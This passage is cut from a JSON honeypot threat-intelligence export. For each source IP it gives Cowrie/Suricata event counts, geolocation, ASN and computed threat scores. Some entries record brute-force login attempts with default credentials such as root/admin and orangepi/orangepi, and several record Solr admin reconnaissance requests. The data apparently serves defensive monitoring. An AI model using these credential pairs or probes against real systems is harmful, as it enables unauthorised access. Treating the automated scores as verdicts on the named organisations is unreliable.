      "last_seen": "2026-04-11T03:17:03.218Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 11.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 67,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T03:12:17.762000+00:00",
        "last_seen_30d": "2026-04-11T03:18:12.528000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 23
      }
    },
    "167.99.132.27": {
      "attack_count": 42,
      "first_seen": "2026-04-01T12:13:06.353Z",
      "last_seen": "2026-04-01T12:13:09.724Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "GET /solr/admin/cores?action=STATUS&wt=json HTTP/1.1",
        "GET /solr/admin/info/system HTTP/1.1",
        "User-Agent: Go-http-client/1.1"
      ],
      "passwords_attempted": [
        "Host: 172.105.186.117:23",
        "Connection: close"
      ],
      "commands_executed": [
        "Connection: close",
        "User-Agent: Go-http-client/1.1",
        ""
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.9,
        "persistence": 2.5,
        "diversity": 12,
        "spread": 15,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 122,
        "days_active_30d": 3,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T03:34:09+00:00",
        "last_seen_30d": "2026-04-03T02:56:47.620000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Suricata": 66,
        "Cowrie": 42,
        "Honeytrap": 14
      }
    },
    "61.53.141.21": {
      "attack_count": 28,
      "first_seen": "2026-04-02T12:50:22.393Z",
      "last_seen": "2026-04-02T12:53:23.833Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T12:50:22.393000+00:00",
        "last_seen_30d": "2026-04-02T12:54:28.990000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 15
      }
    },
    "24.84.30.89": {
      "attack_count": 25,
      "first_seen": "2026-04-14T01:23:44.632Z",
      "last_seen": "2026-04-14T01:27:24.444Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi",
        "password",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Burnaby",
      "asn": 6327,
      "as_org": "Shaw Communications",
      "threat_score": 13.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T01:23:44.632000+00:00",
        "last_seen_30d": "2026-04-14T01:28:29.991000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 13
      }
    },
    "177.92.26.142": {
      "attack_count": 24,
      "first_seen": "2026-04-28T18:25:57.031Z",
      "last_seen": "2026-04-28T18:42:04.612Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Curitiba",
      "asn": 14868,
      "as_org": "Ligga Telecomunicacoes S.A.",
      "threat_score": 26.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T18:25:57.031000+00:00",
        "last_seen_30d": "2026-04-28T18:52:41.873000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 13
      }
    },
    "195.88.213.250": {
      "attack_count": 18,
      "first_seen": "2026-04-30T16:31:22.068Z",
      "last_seen": "2026-04-30T16:34:23.370Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Santiago",
      "asn": 64161,
      "as_org": "GRUPO ZGH SPA",
      "threat_score": 27.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T16:31:22.068000+00:00",
        "last_seen_30d": "2026-04-30T16:35:32.136000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 10
      }
    },
    "43.167.239.124": {
      "attack_count": 14,
      "first_seen": "2026-04-10T13:43:48.769Z",
      "last_seen": "2026-04-10T13:46:02.796Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "debian",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload",
        "cowrie.session.params"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": null,
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 8.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T13:43:48.769000+00:00",
        "last_seen_30d": "2026-04-10T13:47:04.553000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 7
      }
    },
    "66.132.172.178": {
      "attack_count": 14,
      "first_seen": "2026-04-06T02:30:35.315Z",
      "last_seen": "2026-04-08T07:10:32.143Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 92.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 178,
        "days_active_30d": 30,
        "ports_targeted_30d": 35,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-01T17:47:47.147000+00:00",
        "last_seen_30d": "2026-04-30T21:59:39.408000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 107,
        "Honeytrap": 43,
        "Cowrie": 14,
        "Redishoneypot": 6,
        "ElasticPot": 4,
        "Dionaea": 3,
        "Ipphoney": 1
      }
    },
    "34.91.248.132": {
      "attack_count": 12,
      "first_seen": "2026-04-06T08:26:06.103Z",
      "last_seen": "2026-04-06T08:26:10.161Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root"
      ],
      "passwords_attempted": [
        "kjashd123sadhj123d1SS"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Groningen",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 5.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T08:26:06.103000+00:00",
        "last_seen_30d": "2026-04-06T08:27:18.601000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 6
      }
    },
    "106.13.46.139": {
      "attack_count": 10,
      "first_seen": "2026-04-16T03:32:06.772Z",
      "last_seen": "2026-04-16T03:34:39.597Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 13.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T03:32:06.772000+00:00",
        "last_seen_30d": "2026-04-16T03:35:43.849000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 7
      }
    },
    "176.116.56.92": {
      "attack_count": 10,
      "first_seen": "2026-04-21T23:10:25.879Z",
      "last_seen": "2026-04-21T23:13:17.652Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Tver",
      "asn": 51070,
      "as_org": "TOKS Ltd",
      "threat_score": 17.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T23:10:25.879000+00:00",
        "last_seen_30d": "2026-04-21T23:23:24.875000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "183.212.243.71": {
      "attack_count": 10,
      "first_seen": "2026-04-14T22:43:44.389Z",
      "last_seen": "2026-04-14T22:45:28.169Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Wuxi",
      "asn": 56046,
      "as_org": "China Mobile communications corporation",
      "threat_score": 17.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 10.0,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 12,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T10:31:14.109000+00:00",
        "last_seen_30d": "2026-04-14T22:46:32.708000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 10
      }
    },
    "32.220.184.54": {
      "attack_count": 10,
      "first_seen": "2026-04-15T01:56:58.971Z",
      "last_seen": "2026-04-15T01:59:01.296Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Waterbury",
      "asn": 46690,
      "as_org": "Southern New England Telephone Company and SNET America, Inc.",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T01:56:58.971000+00:00",
        "last_seen_30d": "2026-04-15T02:00:04.679000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "209.38.193.124": {
      "attack_count": 8,
      "first_seen": "2026-04-01T12:13:06.318Z",
      "last_seen": "2026-04-01T15:01:50.516Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.9,
        "persistence": 0.8,
        "diversity": 12,
        "spread": 20,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 1,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T04:42:56.526000+00:00",
        "last_seen_30d": "2026-04-01T23:32:57.749000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Suricata": 31,
        "Cowrie": 8,
        "Honeytrap": 8,
        "Dionaea": 2
      }
    },
    "37.97.152.182": {
      "attack_count": 8,
      "first_seen": "2026-04-30T11:11:14.842Z",
      "last_seen": "2026-04-30T11:12:33.151Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Baarlo",
      "asn": 20857,
      "as_org": "Signet B.V.",
      "threat_score": 24.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T11:11:14.842000+00:00",
        "last_seen_30d": "2026-04-30T11:13:42.315000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "45.84.107.33": {
      "attack_count": 8,
      "first_seen": "2026-04-11T20:01:47.721Z",
      "last_seen": "2026-04-11T20:02:10.364Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 214503,
      "as_org": "QuxLabs AB",
      "threat_score": 8.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T20:01:47.721000+00:00",
        "last_seen_30d": "2026-04-11T20:03:20.388000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "209.38.224.169": {
      "attack_count": 7,
      "first_seen": "2026-04-21T20:17:12.756Z",
      "last_seen": "2026-04-21T20:17:13.083Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "GET /solr/admin/info/system HTTP/1.1",
        "User-Agent: Go-http-client/1.1"
      ],
      "passwords_attempted": [
        "Connection: close",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 39.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.7,
        "persistence": 3.3,
        "diversity": 12,
        "spread": 25,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 47,
        "days_active_30d": 4,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-18T06:40:46+00:00",
        "last_seen_30d": "2026-04-21T20:18:18.187000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 28,
        "Cowrie": 7,
        "Honeytrap": 6,
        "Ipphoney": 3,
        "Dionaea": 2,
        "H0neytr4p": 1
      }
    },
    "36.133.118.11": {
      "attack_count": 7,
      "first_seen": "2026-04-21T12:09:53.698Z",
      "last_seen": "2026-04-21T12:11:54.144Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "---fuck_you----"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 9808,
      "as_org": "China Mobile Communications Group Co., Ltd.",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T12:09:53.698000+00:00",
        "last_seen_30d": "2026-04-21T12:22:01.933000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 7
      }
    },
    "159.89.163.198": {
      "attack_count": 6,
      "first_seen": "2026-04-28T15:33:53.311Z",
      "last_seen": "2026-04-28T15:33:53.597Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 23.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T15:22:11.668000+00:00",
        "last_seen_30d": "2026-04-28T15:35:02.971000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 6
      }
    },
    "185.247.137.27": {
      "attack_count": 6,
      "first_seen": "2026-04-06T20:01:39.302Z",
      "last_seen": "2026-04-06T20:01:42.052Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Manchester",
      "asn": 211298,
      "as_org": "Driftnet Ltd",
      "threat_score": 16.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 8.3,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 10,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T20:01:39.302000+00:00",
        "last_seen_30d": "2026-04-15T03:30:08.221000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 6
      }
    },
    "198.235.24.146": {
      "attack_count": 6,
      "first_seen": "2026-04-28T16:35:02.048Z",
      "last_seen": "2026-04-29T10:56:01.067Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 76.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.2,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 28,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-02T23:56:06+00:00",
        "last_seen_30d": "2026-04-29T10:57:10.225000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 27,
        "Honeytrap": 8,
        "Cowrie": 6,
        "Dicompot": 1
      }
    },
    "198.235.24.72": {
      "attack_count": 6,
      "first_seen": "2026-04-11T22:22:56.761Z",
      "last_seen": "2026-04-27T01:35:15.440Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 83.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 72,
        "days_active_30d": 30,
        "ports_targeted_30d": 22,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T04:52:18+00:00",
        "last_seen_30d": "2026-04-30T03:31:24.903000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 50,
        "Honeytrap": 15,
        "Cowrie": 6,
        "Dionaea": 1
      }
    },
    "199.45.155.104": {
      "attack_count": 6,
      "first_seen": "2026-04-17T14:07:43.205Z",
      "last_seen": "2026-04-17T14:08:20.722Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398722,
      "as_org": "Censys, Inc.",
      "threat_score": 66.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.9,
        "persistence": 19.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 23,
        "ports_targeted_30d": 13,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-06T16:09:50+00:00",
        "last_seen_30d": "2026-04-28T11:04:50.498000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 23,
        "Honeytrap": 20,
        "Cowrie": 6
      }
    },
    "66.132.172.185": {
      "attack_count": 6,
      "first_seen": "2026-04-05T01:30:31.616Z",
      "last_seen": "2026-04-05T01:31:13.557Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 93.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 209,
        "days_active_30d": 30,
        "ports_targeted_30d": 47,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-01T20:05:28.625000+00:00",
        "last_seen_30d": "2026-04-30T09:58:49.255000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 123,
        "Honeytrap": 58,
        "Ciscoasa": 12,
        "ElasticPot": 8,
        "Cowrie": 6,
        "Dicompot": 1,
        "Dionaea": 1
      }
    },
    "96.9.211.12": {
      "attack_count": 6,
      "first_seen": "2026-04-30T21:29:13.769Z",
      "last_seen": "2026-04-30T23:06:17.063Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 8888,
      "as_org": "xTom Pty Ltd",
      "threat_score": 23.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T21:29:13.769000+00:00",
        "last_seen_30d": "2026-04-30T23:07:25.516000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6
      }
    },
    "144.31.49.60": {
      "attack_count": 5,
      "first_seen": "2026-04-23T18:24:45.131Z",
      "last_seen": "2026-04-23T18:24:47.566Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 207957,
      "as_org": "Serv.host Group Ltd",
      "threat_score": 24.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-23T17:28:27+00:00",
        "last_seen_30d": "2026-04-23T18:25:48.099000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 5,
        "Honeytrap": 1
      }
    },
    "94.183.178.40": {
      "attack_count": 5,
      "first_seen": "2026-04-09T19:03:18.310Z",
      "last_seen": "2026-04-09T19:03:21.365Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": null,
      "asn": null,
      "as_org": null,
      "threat_score": 6.6,
